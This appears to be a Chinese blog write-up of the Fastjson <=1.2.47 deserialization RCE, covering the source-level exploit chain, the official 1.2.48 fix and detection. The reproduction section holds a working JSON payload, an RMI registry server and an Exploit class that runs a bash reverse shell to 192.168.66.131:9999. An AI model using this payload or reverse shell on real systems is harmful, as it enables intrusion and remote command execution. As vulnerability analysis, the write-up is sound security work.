天天看点

fastjson反序列化过滤字段属性_Fastjson<=1.2.47反序列化漏洞源码分析及复现简介环境准备Let's Hack漏洞原理官方修复漏洞检测

简介

fastjson 是由阿里开发的一种 json 的解析器和生成器。在 2019 年 6 月 26 日,用户提出 issue [1],存在远程代码执行的版本 <=1.2.47。

环境准备

  • jdk 1.6.0.65
  • fastjson 1.2.47

Let's Hack

POC

{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x1001":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}}
           

复现采用 jndi 利用方式,建议先阅读us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE[2] ,了解 jndi 注入。

RMIRegistry.java

package deserialize;import com.sun.jndi.rmi.registry.ReferenceWrapper;import javax.naming.Reference;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;public class RMIRegistry {   public static void main(String[] args) throws Exception {       Registry registry = LocateRegistry.createRegistry(1099);       Reference reference = new Reference("Exploit",               "Exploit","http://localhost/");//这里请求的localhost 80端口的Exploit对象       ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);       registry.bind("Exploit",referenceWrapper);   }}
           

Exploit.java

import javax.naming.Context;import javax.naming.Name;import javax.naming.spi.ObjectFactory;import java.io.IOException;import java.util.Hashtable;public class Exploit implements ObjectFactory {    @Override    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable, ?> environment) {        exec();        return null;    }    private static void exec() {        try {            Runtime.getRuntime().exec("/bin/bash -c bash${IFS}-i${IFS}>&/dev/tcp/192.168.66.131/9999        } catch (IOException e) {            e.printStackTrace();        }    }    public static void main(String[] args) {        exec();    }}
           

POC.java

package deserialize;import com.alibaba.fastjson.JSON;public class POC {    public static void main(String[] argv) {        String payload = "{\"name\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},\"x1001\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:1099/Exploit\",\"autoCommit\":true}}";        JSON.parse(payload);    }}
           
  1. 使用

    javac

    编译

    Exploit.java

    ,得到的

    Exploit.class

    ,放入本地或其他服务器(由于 rmi servicei 请求80端口,所以保证服务器绑定在80端口)的根目录。
  2. 运行 RMIRegistry.java。
  3. 攻击机(192.168.66.13) 运行

    netcat -lvvp 9999

    监听 9999 端口,运行 POC.java,如图 3-1可以看到成功拿到 shell。
    fastjson反序列化过滤字段属性_Fastjson&amp;lt;=1.2.47反序列化漏洞源码分析及复现简介环境准备Let's Hack漏洞原理官方修复漏洞检测
    图3-1

漏洞原理

Fastjson 中负责处理 parse 的一般是

DefaultJSONParser.parseObject

。fastjson 中将带解析的数据用 JSONLexer 封装。对如下解析的数据

{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x1001":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}}
           

从左向右解析。

fastjson反序列化过滤字段属性_Fastjson&amp;lt;=1.2.47反序列化漏洞源码分析及复现简介环境准备Let's Hack漏洞原理官方修复漏洞检测

图4-1

在图 4-1 中,当解析到

@type

时,进入

checkAutoType

,传入的参数

typeName=java.lang.Class

,跟进checkAutoType方法。

public Class> checkAutoType(String typeName, Class> expectClass, int features) {        if (typeName == null) {            return null;        }				//省略部分代码        if (clazz == null) {            clazz = TypeUtils.getClassFromMapping(typeName);//将typeName作为key从mappings(ConcurrentMap对象)中查找对象,这个相当于从cache取值,刚开始没有存入对象,取出值为null        }        if (clazz == null) {            clazz = deserializers.findClass(typeName);// 将typeName作为key从deserializers(IdentityHashMap)中查找对象        }        if (clazz != null) {            if (expectClass != null                    && clazz != java.util.HashMap.class                    && !expectClass.isAssignableFrom(clazz)) {                throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());            }            return clazz;        }        if (!autoTypeSupport) {//判断提取的对象hash值是否在denyHashCodes,也就是黑名单过滤            long hash = h3;            for (int i = 3; i < className.length(); ++i) {                char c = className.charAt(i);                hash ^= c;                hash *= PRIME;                if (Arrays.binarySearch(denyHashCodes, hash) >= 0) {                    throw new JSONException("autoType is not support. " + typeName);                }                if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {                    if (clazz == null) {                        clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);                    }                    if (expectClass != null && expectClass.isAssignableFrom(clazz)) {                        throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());                    }                    return clazz;                }            }        }        if (clazz == null) {            clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);        }        //省略部分代码        return clazz;    }
           

TypeUtils.getClassFromMapping

方法,第一次没有存入 cache 为 null,跟进

deserializers.findClass(typeName)

,可以看到该方法通过

keyString(这里传入的是java.lang.class)

匹配

this.buckets

的 className,

this.buckets

存在

java.lang.class

,所以返回

java.lang.class

public Class findClass(String keyString) {        for(int i = 0; i < this.buckets.length; ++i) {            IdentityHashMap.Entry bucket = this.buckets[i];            if (bucket != null) {                for(IdentityHashMap.Entry entry = bucket; entry != null; entry = entry.next) {                    Object key = bucket.key;                    if (key instanceof Class) {                        Class clazz = (Class)key;                        String className = clazz.getName();                        if (className.equals(keyString)) {                            return clazz;                        }                    }                }            }        }        return null;    }
           

回到

DefaultJSONParser.parseObject()

方法,继续跟进,如下图 4-2,通过

config.getDeserializer

获得反序列化的路由类

MiscCodec

。并调用该路由类的

deserialze(this, clazz, fieldName)

方法,

fastjson反序列化过滤字段属性_Fastjson&amp;lt;=1.2.47反序列化漏洞源码分析及复现简介环境准备Let's Hack漏洞原理官方修复漏洞检测

图4-2

跟进该方法中,如图 4-3,主要调用

parser.parse()

方法提取到

com.sun.rowset.JdbcRowSetImpl

赋给objVal对象。

fastjson反序列化过滤字段属性_Fastjson&amp;lt;=1.2.47反序列化漏洞源码分析及复现简介环境准备Let's Hack漏洞原理官方修复漏洞检测

图4-3

继续往下走,如图 4-4,调用

TypeUtils.loadClass

fastjson反序列化过滤字段属性_Fastjson&amp;lt;=1.2.47反序列化漏洞源码分析及复现简介环境准备Let's Hack漏洞原理官方修复漏洞检测

图4-4

跟进

loadClass(String className, ClassLoader classLoader)

方法,如图 4-5,

loadClass

调用该方法的重载方法,设置为true。

fastjson反序列化过滤字段属性_Fastjson&amp;lt;=1.2.47反序列化漏洞源码分析及复现简介环境准备Let's Hack漏洞原理官方修复漏洞检测

图4-5

跟进

loadClass

的重载方法,将

com.sun.rowset.JdbcRowSetImpl

存入上文在

checkAutoType

中提到

mappings

中(即缓存中)。

fastjson反序列化过滤字段属性_Fastjson&amp;lt;=1.2.47反序列化漏洞源码分析及复现简介环境准备Let's Hack漏洞原理官方修复漏洞检测

图4-6

至此第一部分解析完了,主要做的是将

com.sun.rowset.JdbcRowSetImpl

存入 mappings 中,接下来解析第二部分,让我们回到

DefaultJSONParser.parseObject()

,解析的第二个键值对如下:

"x1001":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}
           

和第一个一样,不同的是,此时的 typeName 为

com.sun.rowset.JdbcRowSetImpl

fastjson反序列化过滤字段属性_Fastjson&amp;lt;=1.2.47反序列化漏洞源码分析及复现简介环境准备Let's Hack漏洞原理官方修复漏洞检测

图4-7

跟进

config.checkAutoType(String typeName, Class> expectClass, int features)

方法,如图 4-8,由于第一次解析中将

com.sun.rowset.JdbcRowSetImpl

存入 mappings 中。如图 4-9,这次直接通过

TypeUtils.getClassFromMapping(typeName);

获取到 com.sun.rowset.JdbcRowSetImpl 对象。并返回该对象。(同样绕过 checkAutoType 中黑名单限制以及 autoType 开关的检查)

fastjson反序列化过滤字段属性_Fastjson&amp;lt;=1.2.47反序列化漏洞源码分析及复现简介环境准备Let's Hack漏洞原理官方修复漏洞检测

图4-8

fastjson反序列化过滤字段属性_Fastjson&amp;lt;=1.2.47反序列化漏洞源码分析及复现简介环境准备Let's Hack漏洞原理官方修复漏洞检测

图4-9

和第一次一样,如图 4-10调用

deserializer.deserialze(this, clazz, fieldName)

,不同的是这次得到的反序列化路由类为

FastjsonASMDeserializer

fastjson反序列化过滤字段属性_Fastjson&amp;lt;=1.2.47反序列化漏洞源码分析及复现简介环境准备Let's Hack漏洞原理官方修复漏洞检测

图4-10

跟进

deserialze(DefaultJSONParser parser, Type type,Object fieldName,Object object, int features, int[] setFlags)

,首先有一些 asm 操作,接着调用如

deserialze

方法,如图 4-11。

fastjson反序列化过滤字段属性_Fastjson&amp;lt;=1.2.47反序列化漏洞源码分析及复现简介环境准备Let's Hack漏洞原理官方修复漏洞检测

图4-11

setValue

中通过

method.invoke(object, value)

反射执行

com.sun.rowset.JdbcRowSetImpl.setAutoCommit

方法

fastjson反序列化过滤字段属性_Fastjson&amp;lt;=1.2.47反序列化漏洞源码分析及复现简介环境准备Let's Hack漏洞原理官方修复漏洞检测

图4-12

跟进

setAutoCommit

中,如图4-13调用

this.connect()

fastjson反序列化过滤字段属性_Fastjson&amp;lt;=1.2.47反序列化漏洞源码分析及复现简介环境准备Let's Hack漏洞原理官方修复漏洞检测

图4-13

如图4-14

this.connect()

对成员变量 dataSourceName 进行 lookup,成功利用 jndi 注入。

fastjson反序列化过滤字段属性_Fastjson&amp;lt;=1.2.47反序列化漏洞源码分析及复现简介环境准备Let's Hack漏洞原理官方修复漏洞检测

图4-14 整个利用链:

Exec:620,Runtime //命令执行Lookup:417,InitalContext //jndi lookup函数通过rmi加载恶意类setAutoCommit:4067,JdbcRowSetImpl //通过setAutoCommit触发lookup函数setValue:96,FieldDeserializer //反射调用传入类的set函数deserialze:600, JavaBeanDeserializer //通过循环调用传入类 set,get,is函数parseObject:368,DefaultJSONParser //解析传入的json字符串
           

官方修复

官方在 1.2.48 版本更改以下代码进行修复,推荐升级到最新版本。

  1. 黑名单修复,增加8409640769019589119(java.lang.Class)*1459860845934817624(java.net.InetAddress)*两个类的黑名单。
    fastjson反序列化过滤字段属性_Fastjson&amp;lt;=1.2.47反序列化漏洞源码分析及复现简介环境准备Let's Hack漏洞原理官方修复漏洞检测
  2. MiscCodec.java 文件对 cache 缓存设置成 false
    fastjson反序列化过滤字段属性_Fastjson&amp;lt;=1.2.47反序列化漏洞源码分析及复现简介环境准备Let's Hack漏洞原理官方修复漏洞检测
  3. ParserConfig.java 文件对 checkAutoType()进行了相关策略调整.
    fastjson反序列化过滤字段属性_Fastjson&amp;lt;=1.2.47反序列化漏洞源码分析及复现简介环境准备Let's Hack漏洞原理官方修复漏洞检测

漏洞检测

采用一些三方组件自动化检测工具,如安全玻璃盒 IAST 产品等,结果如下:

fastjson反序列化过滤字段属性_Fastjson&amp;lt;=1.2.47反序列化漏洞源码分析及复现简介环境准备Let's Hack漏洞原理官方修复漏洞检测

参考资料

[1]

issue: https://github.com/alibaba/fastjson/issues/2513

[2]

us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE: https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf